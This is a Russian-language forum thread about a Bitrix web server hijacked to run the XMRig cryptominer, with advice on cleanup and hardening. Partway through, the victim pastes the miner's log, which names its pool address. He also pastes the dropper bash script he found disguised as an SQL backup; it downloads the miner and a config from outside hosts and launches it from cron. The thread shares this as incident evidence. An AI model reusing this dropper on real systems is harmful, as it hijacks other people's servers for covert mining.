xmrig удалить

xmrig

Судя по гуглу, это не вирус, а майнер. Просто прибей процесс. А дальше смотри, будет ли он грузиться после ребута.

сейчас попробую, попробовал копии по ssh вытянуть, обрыв связи, через putty без проблем сижу. Подключил вени так копии сливаю

Какая аутентификация? Пароль или ключи?

пасс

пасс

Ай-яй-яй. Впрочем, возможно, не пароль подобрали, а какую-то дыру попользовали, так что смена на ключи может не помочь.

Переустанавливать все с другим паролем?

Я бы все перенакотил, обновил и сделал логин по ключам.

и не ставил битрикс

Чего? Вроде все с коробки хорошо настроено

а еще нанял бы специалиста по деплою битрикса

killall -9 xmrig

Моё сообщение удалили почему-то по причине «флуд», а оно таковым не было. Я там написал что его всё равно опять взломают и что он может не париться. Объясню: если он сделает такую же установку как раньше - то и итог будет такой же.

Удалять «вирус» из рабочей системы это вообще верх глупости, система скомпрометирована и неизвестно что в ней ещё могли поменять.

Переустанавливать систему на другую точно такую же - лучше, но не спасёт, его взломают через ту же дыру что и в первый раз. И дело не в пароле/ключе (он же написал что пароль был сложный, а сложные пароли не подбираются).

Правильно - надо провести исследование, выяснить как именно был получен доступ и закрыть этот способ. Но он этого делать, очевидно, не будет. Поэтому остаётся только вариант забить.

копать когда был создан файлик который запустил процес?

убил процесс, сделал ребут, пока нет в запусках

Ранее 3 года пока машина стояла за натом все было ок, сейчас шнур инета втыкнул на прямую, и словил

Дырка где то в битрикс, от его имени запущен был процес

За более чем 3 года битрикс хоть раз обновлялся?

Значит нужно настроить nftables - оставить открытыми только необходимые порты, чтобы всякая гадость не лезла. Ну и плюс аутентификацию по ssh ключам, как советовал человек выше.

Отрык только 80 443 и измененный порт для ssh

измененный порт для ssh

От целевой атаки (nmap) это не спасёт.

От глобального поиска уязвимых ресурсов скорее да, но не факт

Значит, скорее всего, битрикс ваш хекнули. Чтобы избежать такого в будущем, можете попробовать настроить SELinux или хотя бы AppArmor.

Ну, у ТСа же «сложный» ssh-пароль.

Вообщем по началу удаление скрипта помогало, на неделю, потом опять вредитель запускался. Пароли пробовал менять не помогае. В tmp были файлы xmrig и config.json. Ограничел доступа по ssh только с определенных IP.

Вот кусок лога который лога

• ABOUT XMRig/6.16.2 gcc/9.3.0
• LIBS libuv/1.42.0 OpenSSL/1.1.1l hwloc/2.5.0
• HUGE PAGES supported
• 1GB PAGES disabled
• CPU Intel(R) Xeon(R) CPU E3-1225 v5 @ 3.30GHz (1) 64-bit AES L2:1.0 MB L3:8.0 MB 4C/4T NUMA:1
• MEMORY 13.1/15.4 GB (85%)
• DONATE 1%
• ASSEMBLY auto:intel
• POOL #1 193.29.56.190:443 algo auto
• POOL #2 193.29.56.190:3333 algo auto
• COMMANDS hashrate, pause, resume, results, connection [2022-01-22 20:10:41.043] config configuration saved to: «/tmp/config.json» [2022-01-22 20:10:41.149] net use pool 193.29.56.190:443 TLSv1.3 193.29.56.190 [2022-01-22 20:10:41.149] net fingerprint (SHA-256): «506847d9aff6c44cae3744081278ffee45cf4f372a86e490eb816209ecd52f19» [2022-01-22 20:10:41.149] net new job from 193.29.56.190:443 diff 5256K algo rx/0 height 2542932 (14 tx) [2022-01-22 20:10:41.149] cpu use argon2 implementation AVX2 [2022-01-22 20:10:41.167] msr cannot read MSR 0x000001a4 [2022-01-22 20:10:41.167] msr FAILED TO APPLY MSR MOD, HASHRATE WILL BE LOW [2022-01-22 20:10:41.167] randomx init dataset algo rx/0 (4 threads) seed bfeb43ae90807dc3… [2022-01-22 20:10:41.185] randomx allocated 2336 MB (2080+256) huge pages 11% 128/1168 +JIT (18 ms) [2022-01-22 20:10:46.004] randomx dataset ready (4820 ms) [2022-01-22 20:10:46.005] cpu use profile rx (4 threads) scratchpad 2048 KB [2022-01-22 20:10:46.007] cpu READY threads 4/4 (4) huge pages 100% 4/4 memory 8192 KB (2 ms) [2022-01-22 20:10:59.198] net new job from 193.29.56.190:443 diff 5256K algo rx/0 height 2542933 (18 tx) [2022-01-22 20:11:31.030] net new job from 193.29.56.190:443 diff 5256K algo rx/0 height 2542934 (12 tx) [2022-01-22 20:11:37.396] net new job from 193.29.56.190:443 diff 5289K algo rx/0 height 2542935 (4 tx) [2022-01-22 20:11:42.695] net new job from 193.29.56.190:443 diff 5289K algo rx/0 height 2542936 (4 tx) [2022-01-22 20:11:46.060] miner speed 10s/60s/15m 1479.1 n/a n/a H/s max 1491.6 H/s [2022-01-22 20:12:46.109] miner speed 10s/60s/15m 1463.9 1462.4 n/a H/s max 1491.6 H/s [2022-01-22 20:13:46.169] miner speed 10s/60s/15m 1491.8 1468.5 n/a H/s max 1491.8 H/s [2022-01-22 20:14:46.229] miner speed 10s/60s/15m 1479.5 1464.3 n/a H/s max 1491.8 H/s [2022-01-22 20:14:46.865] net new job from 193.29.56.190:443 diff 5256K algo rx/0 height 2542937 (18 tx) [2022-01-22 20:15:46.229] miner speed 10s/60s/15m 1463.6 1450.9 n/a H/s max 1491.8 H/s [2022-01-22 20:16:46.289] miner speed 10s/60s/15m 1460.0 1472.3 n/a H/s max 1491.8 H/s

А вот пошоже нашел запуск файла #!/bin/bash if [ -f /tmp/xmrig -a -f /tmp/config.json ]; then

    echo "xmrig&config.json status yes"

else
    cd /tmp
    wget -P /tmp [url]https://github.com/xmrig/xmrig/releases/download/v6.16.2/xmrig-6.16.2-linux-static-x64.tar.gz[/url]
    curl -o /tmp/config.json [url]https://cdn.sql.gg/TiWRtJXktxmJnpUYVIeCfd7ukmSHkKTc/config.json[/url]
    tar -zxvf /tmp/xmrig-6.16.2-linux-static-x64.tar.gz
    mv /tmp/xmrig-6.16.2/xmrig /tmp/xmrig
    chmod 777 /tmp/xmrig
    rm -rf /tmp/xmrig-6.16.2
    rm -rf /tmp/xmrig-6.16.2-linux-static-x64.tar.gz
    echo "xmrig&config.json status no loading"

fi

ps -fe|grep ./xmrig |grep -v grep if [ $? -ne 0 ] then echo «start process…..» cd /tmp ./xmrig else echo «runing…..» fi

Пока в хосте прописал левый IP для github.com и cdn.sql.gg и снес файлы которыми запускался процесс

В cron запускали задачи по дампу БД от пользователя bitrix. Но что интересно, пользователю пасс менял а залогинеться под ним не могу, но не смотрел возможно у него доступ по ssh закрыт. Эти файлы видел но не предал значение, думал это как раз бакап битрикса

ты не понимаешь элементарного
если твою тачку порутали, то могут запросто менять дату создания файла (man touch), владельца файла (man chown), создавать невидимые файлы (не те, которые с точечкой, а те, которые драйвер ФС не видит), скрывать своё присутствие в /etc/passwd и тд и тп
проще говоря, удаляя файлы из /tmp, ты просто отрубаешь голову змей горынычу, а потом на её месте вырастает новых две

Так я нашел откуда что запускалось. И удалил. пока полет нормальный

Так что удалил?

Файл по пути «/home/bitrix/sql_backup.sql», там вирусный скрипт.